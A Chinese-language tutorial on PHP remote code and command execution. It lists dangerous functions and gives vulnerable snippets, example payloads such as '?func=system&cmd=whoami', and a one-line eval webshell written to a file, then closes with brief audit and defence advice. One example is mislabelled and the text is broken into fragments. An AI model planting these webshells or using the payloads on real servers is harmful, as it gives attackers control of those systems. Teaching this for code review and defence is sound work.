RCE
的概念
RCE(remote command/code execute)
即
远程命令
/
代码执行
。可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE
分为远程命令执行
ping
和远程代码执行
evel
。
在
Web
应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞
在
PHP
中代码执行所涉及的函数有:
eval()、assert()、preg_replace()、create_function()、array_map()、
call_user_func()、call_user_func_array()、array_filter()、uasort()、文件操作函数、动
态函数($a($b))
在
PHP
中命令执行所涉及的函数有:
system()
、
exec()
、
shell_exec()
、
pcntl_exec()
、
popen()
、
proc_popen()
、
passthru()
代码执行的原理
要想搞懂代码执行的原理,我们需要将相关的函数搞懂即可。
这里主要介绍
PHP
的相关函数。
PHP
中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞。
eval()
eval()
函数把字符串按照
PHP
代码来计算,如常见的一句话后门程序:
<?php eval($_REQUEST[6]);?>
eval
这个函数,不属于
PHP
体系的函数, 在官方的说法中,属于语句
所以
disable_function
禁用不了
如果需要禁用,需要额外安装一个插件:
Suhosin
assert()
与
eval
类似,字符串被
assert()
当做
PHP
代码来执行,如:
<?php
assert($_REQUEST[6]);
?>
和
eval
的区别在于,
eval
一次性可以执行多条语句,但是
assert()
一次性只能执行一条
(
函数
)
。
大家可以思考一下如何让
assert
一次性执行多条语句呢?
preg_replace
语法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int
&$count ]] )
搜索
subject
中匹配
pattern
的部分, 以
replacement
进行替换。
参数说明:
$pattern:
要搜索的模式,可以是字符串或一个字符串数组。
$replacement:
用于替换的字符串或字符串数组。
$subject:
要搜索替换的目标字符串或字符串数组。
$limit:
可选,对于每个模式用于每个
subject
字符串的最大可替换次数。 默认是
-1
(无限制)。
$count:
可选,为替换执行的次数。
返回值:
如果
subject
是一个数组,
preg_replace()
返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的
subject
被返回,其他情况下返回没有改变的
subject
。
如果发生错误,返回
NULL
。
危险点:
preg_replace()
函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的
/e
修饰符,使
preg_replace()
将
replacement
参数当作
PHP
代码
<?php
@preg_replace("/abc/e",$_REQUEST[6],"abcd");
?>
但是
/e
参数要注意
PHP
的版本。
create_function()
语法:
string create_function(string $args, string $code)
参数说明:
string $args
函数参数部分
string $code
函数体代码部分如:
$myfunc = create_function('$name','echo $name."SJ";');
相当于:
function myfunc($name) {
echo $name."SJ";
}
调用:
$myfunc('liu');
create_function
主要用来创建匿名函数,
create_function()
函数会在内部执行
eval()
,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()
执行任意命令。
接下来利用
create_function()
进行注入:
有问题的代码:
$id = $_GET['id'];
$code = 'return $a."_"'.$id.';';
// 动态创建函数
$func = create_function('$a', $code);
// 调用
$func(1);
payload:
?id=;}phpinfo();/*
执行结果:
array_map
array_map()
函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给array_map()
函数的数组数目一致。
示例代码:
// ?func=system&cmd=whoami
// ?func=system&cmd=calc
// ?func=system&cmd=notepad
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
call_user_func()/call_user_func_array ()
call_user_func
把第一个参数作为回调函数调用,其余参数是回调函数的参数。
示例代码:
//?cmd=phpinfo()
@call_user_func('assert',$_GET['cmd']);
call_user_func_array
调用回调函数,并把一个数组参数作为回调函数的参数
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
array_filter()
语法:
array array_filter(array $array [, callable $callback [, int $flag = 0 ]] )
依次将
array
数组中的每个值传递到
callback
函数。如果
callback
函数返回
true
,则
array
数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
文件操作函数
file_put_contents()
函数把一个字符串写入文件中。
$test='<?php eval($_REQUEST[6]);?>';
file_put_contents('test1.php',$test);
fputs()
函数写入文件
$test='<?php eval($_REQUEST[6]);?>';
file_put_contents('test1.php',$test);
动态函数
PHP
函数直接由字符串拼接
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
特殊组合
双引号二次解析
PHP
版本
5.5
及其以上版本可以使用
"${phpinfo()}"; =>
代码执行
phpinfo()PHP
的字符串是可以使用复杂的表达式。
例如
${
中间可以写调用的函数
}
${phpinfo()}; //
可以执行
$a = ${phpinfo()}; //
可以执行
在
PHP
的官方文档中也有描述
https://www.php.net/manual/zh/language.types.string.php
如何找相关漏洞?
白盒:代码审计
黑盒:漏扫工具、公开漏洞、手工看参数及功能点
如何防御?
敏感函数禁用
变量过滤或固定
waf
产品